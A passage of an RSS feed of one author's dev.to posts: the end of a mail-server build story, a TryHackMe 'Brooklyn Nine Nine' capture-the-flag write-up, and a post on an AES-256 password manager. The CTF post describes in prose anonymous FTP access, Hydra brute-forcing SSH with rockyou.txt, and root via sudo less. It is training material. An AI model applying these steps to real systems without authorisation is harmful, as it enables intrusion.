&lt;p&gt;“Cool, Let’s Encrypt for HTTPS. Done.”&lt;/p&gt;

&lt;p&gt;Nope.&lt;/p&gt;

&lt;p&gt;Mail servers need TLS for:&lt;/p&gt;

&lt;p&gt;SMTP (Postfix)&lt;/p&gt;

&lt;p&gt;IMAP (Dovecot)&lt;/p&gt;

&lt;p&gt;Webmail (Nginx)&lt;/p&gt;

&lt;p&gt;That meant manually pointing each service to the right cert paths and restarting everything without breaking it.&lt;/p&gt;

&lt;p&gt;One wrong file path = service won’t start.&lt;/p&gt;

&lt;p&gt;Skill gained:&lt;br&gt;
Reading logs instead of guessing.&lt;br&gt;
Seriously, mail logs are your lifeline.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;DKIM: Cryptography Meets Copy-Paste Fear
DKIM was one of those moments where you know it’s important, but it still feels sketchy:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Extract public key from the server&lt;/p&gt;

&lt;p&gt;Add it as a TXT record&lt;/p&gt;

&lt;p&gt;Hope nothing is truncated&lt;/p&gt;

&lt;p&gt;Wait for DNS&lt;/p&gt;

&lt;p&gt;Test again&lt;/p&gt;

&lt;p&gt;When it finally validated, I actually felt relief.&lt;/p&gt;

&lt;p&gt;Skill gained:&lt;br&gt;
Understanding how cryptographic trust is applied at the protocol level, not just theory.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Spam Happens (Even When You Do Everything Right)
My first Gmail test landed in spam.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Honestly? That was expected.&lt;/p&gt;

&lt;p&gt;New domain.&lt;br&gt;
New IP.&lt;br&gt;
Zero reputation.&lt;/p&gt;

&lt;p&gt;This taught me something important:&lt;br&gt;
Correct configuration doesn’t guarantee trust. Time does.&lt;/p&gt;

&lt;p&gt;What I Actually Learned (Hard + Soft Skills)&lt;br&gt;
Hard Skills&lt;br&gt;
SMTP, IMAP, and how they interact&lt;/p&gt;

&lt;p&gt;Postfix and Dovecot basics&lt;/p&gt;

&lt;p&gt;DNS beyond “add an A record”&lt;/p&gt;

&lt;p&gt;SPF / DKIM / DMARC in practice&lt;/p&gt;

&lt;p&gt;TLS for non-HTTP services&lt;/p&gt;

&lt;p&gt;Reading and trusting system logs&lt;/p&gt;

&lt;p&gt;Soft Skills&lt;br&gt;
Debugging layered systems&lt;/p&gt;

&lt;p&gt;Slowing down instead of randomly changing configs&lt;/p&gt;

&lt;p&gt;Accepting that some problems just need time (DNS, reputation)&lt;/p&gt;

&lt;p&gt;Not panicking when email disappears into the void&lt;/p&gt;

&lt;p&gt;Proof It Worked (The Best Part)&lt;br&gt;
The moment that mattered:&lt;/p&gt;

&lt;p&gt;Sent an email from Roundcube&lt;/p&gt;

&lt;p&gt;Saw it arrive externally&lt;/p&gt;

&lt;p&gt;Got a reply&lt;/p&gt;

&lt;p&gt;Watched it land back in my inbox&lt;/p&gt;

&lt;p&gt;That’s when it clicked.&lt;/p&gt;

&lt;p&gt;“Oh. This is the entire email system. I built this.”&lt;/p&gt;

&lt;p&gt;Would I Run This in Production?&lt;br&gt;
Absolutely not. 😄&lt;br&gt;
Running mail servers long-term is a responsibility I respect a lot more now.&lt;/p&gt;

&lt;p&gt;But as a learning project?&lt;/p&gt;

&lt;p&gt;This was gold.&lt;/p&gt;

&lt;p&gt;What I’d Improve Next&lt;br&gt;
If I take this further:&lt;/p&gt;

&lt;p&gt;Automated TLS renewals + service reloads&lt;/p&gt;

&lt;p&gt;Better spam filtering visibility&lt;/p&gt;

&lt;p&gt;Monitoring and alerting on mail queues&lt;/p&gt;

&lt;p&gt;IPv6 tuning and reputation management&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
If you’re into backend, infra, or security and you’ve never built a mail server, I honestly recommend doing it once.&lt;/p&gt;

&lt;p&gt;Not because it’s fun (it’s not).&lt;br&gt;
Not because it’s easy (it isn’t).&lt;/p&gt;

&lt;p&gt;But because email touches everything, and understanding it makes you a better engineer.&lt;/p&gt;

&lt;p&gt;If you want the full step-by-step lab with screenshots, configs, and commands, the full README is here:&lt;br&gt;
👉 GitHub: &lt;a href="https://github.com/VibhavChennamadhava/Designing-an-SMTP-Mail-Server-Using-iRedMail" rel="noopener noreferrer"&gt;https://github.com/VibhavChennamadhava/Designing-an-SMTP-Mail-Server-Using-iRedMail&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you try this yourself:&lt;br&gt;
Good luck.&lt;br&gt;
Read the logs.&lt;br&gt;
And don’t forget the PTR record. 😄&lt;/p&gt;

</description>
      <category>learning</category>
      <category>linux</category>
      <category>networking</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Brooklyn99 pwned!</title>
      <dc:creator>Vibhav Chennamadhava</dc:creator>
      <pubDate>Wed, 14 Jan 2026 05:14:58 +0000</pubDate>
      <link>https://dev.to/vibhav_chennamadhava_a887/brooklyn99-pwned-157h</link>
      <guid>https://dev.to/vibhav_chennamadhava_a887/brooklyn99-pwned-157h</guid>
      <description>&lt;p&gt;Rooting the Brooklyn Nine Nine TryHackMe Room – My experience,&lt;br&gt;
I recently completed the Brooklyn Nine Nine room on TryHackMe, and it turned out to be a really solid box that reinforces the importance of enumeration, patience, and chaining small misconfigurations to get full control of a system.&lt;/p&gt;

&lt;p&gt;Recon &amp;amp; Enumeration&lt;br&gt;
Firstly, I started with an Nmap scan to understand what I was dealing with. The scan revealed three open ports:&lt;/p&gt;

&lt;p&gt;21 (FTP) with anonymous login enabled&lt;/p&gt;

&lt;p&gt;22 (SSH)&lt;/p&gt;

&lt;p&gt;80 (HTTP) running Apache&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffuqey3t28n3ia4gs03cw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffuqey3t28n3ia4gs03cw.png" alt="nmap" width="800" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Seeing anonymous FTP tingled my bells immediately for entry.&lt;/p&gt;

&lt;p&gt;FTP Access&lt;br&gt;
Logging into the FTP service as anonymous worked without any issues. Inside, I found a file called note_to_jake.txt. After downloading and reading it locally, the note warned Jake about using a weak password — a clear hint that brute-forcing SSH might be viable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbgwsx6bk3c8ydcte8nm9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbgwsx6bk3c8ydcte8nm9.png" alt="note" width="800" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cracking SSH&lt;br&gt;
Using that hint, I ran Hydra against the SSH service with the rockyou.txt wordlist. Sure enough, Jake’s password was extremely weak and easy had that in less than 2 min with valid credentials in hand, I logged in as jake via SSH.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2st2mztogb2ioxuol92d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2st2mztogb2ioxuol92d.png" alt="hydra" width="800" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;User Flag&lt;br&gt;
Once logged in, I began enumerating the system. Checking the /home directory revealed multiple users, including holt. Inside Holt’s home directory, I found and captured the user flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fncxif55rvogwt7kbr5sy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fncxif55rvogwt7kbr5sy.png" alt=" " width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Privilege Escalation&lt;br&gt;
The next step was escalating privileges. Running sudo -l showed that Jake could run /usr/bin/less as root. This was it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80dpv4451g769qc7rnjx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80dpv4451g769qc7rnjx.png" alt=" " width="799" height="181"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By using less with sudo, I was able to access /root/root.txt and effectively gain root-level access, completing the box and grabbing the root flag.&lt;/p&gt;

&lt;p&gt;I came to know that the room could also be solved a different way&lt;br&gt;
if you guys know lmk~&lt;/p&gt;

&lt;p&gt;This room was a great reminder that:&lt;/p&gt;

&lt;p&gt;Enumeration is everything&lt;/p&gt;

&lt;p&gt;Weak passwords are still a real-world problem&lt;/p&gt;

&lt;p&gt;Small sudo misconfigurations can lead directly to root&lt;/p&gt;

&lt;p&gt;Overall, Brooklyn Nine Nine was a fun and educational challenge &lt;/p&gt;

&lt;p&gt;Nine-Nine. 🚓&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>hacktoberfest</category>
    </item>
    <item>
      <title>Building a Secure Password Manager</title>
      <dc:creator>Vibhav Chennamadhava</dc:creator>
      <pubDate>Sat, 03 Jan 2026 18:36:30 +0000</pubDate>
      <link>https://dev.to/vibhav_chennamadhava_a887/building-a-secure-password-manager-20o5</link>
      <guid>https://dev.to/vibhav_chennamadhava_a887/building-a-secure-password-manager-20o5</guid>
      <description>&lt;p&gt;Building a Secure Password Manager in Python (AES-256, Tkinter)&lt;br&gt;
Python 3.9+&lt;br&gt;
Security: AES-256-GCM&lt;/p&gt;

&lt;p&gt;Overview&lt;/p&gt;

&lt;p&gt;This project is a secure desktop password manager built using Python and Tkinter, designed to store and manage credentials locally using strong encryption and secure UX patterns.&lt;/p&gt;

&lt;p&gt;The goal was to design the application with security-first principles, similar to real-world password managers, while keeping the implementation understandable and auditable.&lt;br&gt;
GitHub Repo: [🔗 GitHub Repo: &lt;a href="https://github.com/VibhavChennamadhava/Password_manager" rel="noopener noreferrer"&gt;https://github.com/VibhavChennamadhava/Password_manager&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;Core Design&lt;/p&gt;

&lt;p&gt;High-level flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Master Password&lt;/li&gt;
&lt;li&gt;PBKDF2 Key Derivation&lt;/li&gt;
&lt;li&gt;AES-256-GCM Encryption&lt;/li&gt;
&lt;li&gt;Encrypted Vault File (vault.enc)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Key rules enforced:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Master password is never stored&lt;/li&gt;
&lt;li&gt;Passwords are never written to disk in plaintext&lt;/li&gt;
&lt;li&gt;Vault is decrypted only in memory&lt;/li&gt;
&lt;li&gt;Passwords are never auto-displayed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cryptography Implementation&lt;/p&gt;

&lt;p&gt;Key Derivation&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PBKDF2 (SHA-256) with a randomly generated salt&lt;/li&gt;
&lt;li&gt;High iteration count to slow brute-force attacks&lt;/li&gt;
&lt;li&gt;Produces a 256-bit key for encryption&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Encryption&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AES-256-GCM for authenticated encryption&lt;/li&gt;
&lt;li&gt;Provides confidentiality and integrity&lt;/li&gt;
&lt;li&gt;Any tampering with the vault file causes decryption to fail&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The encrypted vault is stored locally as a single file named vault.enc.&lt;/p&gt;

&lt;p&gt;Vault Design&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vault is stored as encrypted JSON&lt;/li&gt;
&lt;li&gt;Exists only in memory after login&lt;/li&gt;
&lt;li&gt;Entire vault is encrypted as one unit&lt;/li&gt;
&lt;li&gt;No partial or plaintext storage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;{&lt;br&gt;
  "entries": [&lt;br&gt;
    {&lt;br&gt;
      "site": "facebook",&lt;br&gt;
      "username": "testuser",&lt;br&gt;
      "password": "secret123"&lt;br&gt;
    }&lt;br&gt;
  ]&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;User Interface (Tkinter)&lt;/p&gt;

&lt;p&gt;The UI was built using Tkinter for simplicity and security.&lt;/p&gt;

&lt;p&gt;Screens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login Screen – Master password authentication&lt;/li&gt;
&lt;li&gt;Vault Screen – Displays only site and username&lt;/li&gt;
&lt;li&gt;Add Password Screen – Secure input with toggle&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Passwords are never shown by default.&lt;/p&gt;

&lt;p&gt;Show / Hide Password Toggle&lt;/p&gt;

&lt;p&gt;While adding a new password, users can toggle visibility to verify input:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password masked by default&lt;/li&gt;
&lt;li&gt;Toggle affects only input field&lt;/li&gt;
&lt;li&gt;No exposure in the main vault view&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This prevents shoulder surfing while keeping usability intact.&lt;/p&gt;

&lt;p&gt;Viewing Passwords (Explicit Action Only)&lt;/p&gt;

&lt;p&gt;Passwords are revealed only when the user:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Selects an entry&lt;/li&gt;
&lt;li&gt;Clicks View Password&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This ensures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No accidental exposure&lt;/li&gt;
&lt;li&gt;Clear user intent&lt;/li&gt;
&lt;li&gt;Secure UX behavior aligned with real password managers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One-Click Copy and Auto-Clear Clipboard&lt;/p&gt;

&lt;p&gt;Instead of forcing users to view passwords:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Copy Password button copies the password to clipboard&lt;/li&gt;
&lt;li&gt;Clipboard auto-clears after 15 seconds&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This reduces screen exposure and mitigates clipboard leakage risks.&lt;/p&gt;

&lt;p&gt;Security Highlights&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AES-256-GCM encryption&lt;/li&gt;
&lt;li&gt;PBKDF2 key derivation&lt;/li&gt;
&lt;li&gt;No plaintext passwords on disk&lt;/li&gt;
&lt;li&gt;Decryption only in memory&lt;/li&gt;
&lt;li&gt;No logging of secrets&lt;/li&gt;
&lt;li&gt;Clipboard auto-clear&lt;/li&gt;
&lt;li&gt;Explicit password access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This design mirrors security patterns used by tools like KeePass and Bitwarden.&lt;/p&gt;

&lt;p&gt;Project Structure&lt;/p&gt;

&lt;p&gt;PasswordManager&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;password_manager.py (encryption and vault logic)&lt;/li&gt;
&lt;li&gt;ui.py (Tkinter UI)&lt;/li&gt;
&lt;li&gt;vault.enc (encrypted vault, auto-created)&lt;/li&gt;
&lt;li&gt;salt.bin (cryptographic salt)&lt;/li&gt;
&lt;li&gt;screenshots/&lt;/li&gt;
&lt;li&gt;README.md &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PasswordManager UI:&lt;br&gt;
🔐 Login Screen&lt;br&gt;
Secure master password authentication to unlock the encrypted vault.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwfp0tcv66l4xu2efo96q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwfp0tcv66l4xu2efo96q.png" alt="login" width="568" height="511"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;➕ Add New Password&lt;br&gt;
Add website credentials with a secure password input and show/hide toggle.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fltp3go1oe9up7pryy3kh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fltp3go1oe9up7pryy3kh.png" alt="adding_password" width="552" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vault View&lt;br&gt;
View saved accounts, securely retrieve passwords, or copy them with auto-clear clipboard protection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kpgbnk03qxizdkqcxz1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kpgbnk03qxizdkqcxz1.png" alt="Vault" width="558" height="511"&gt;&lt;/a&gt;&lt;br&gt;
It serves as a practical example of applying cryptographic fundamentals to a real desktop application.&lt;/p&gt;

&lt;p&gt;GitHub Repo: [🔗 GitHub Repo: &lt;a href="https://github.com/VibhavChennamadhava/Password_manager" rel="noopener noreferrer"&gt;https://github.com/VibhavChennamadhava/Password_manager&lt;/a&gt;]&lt;/p&gt;

</description>
      <category>programming</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
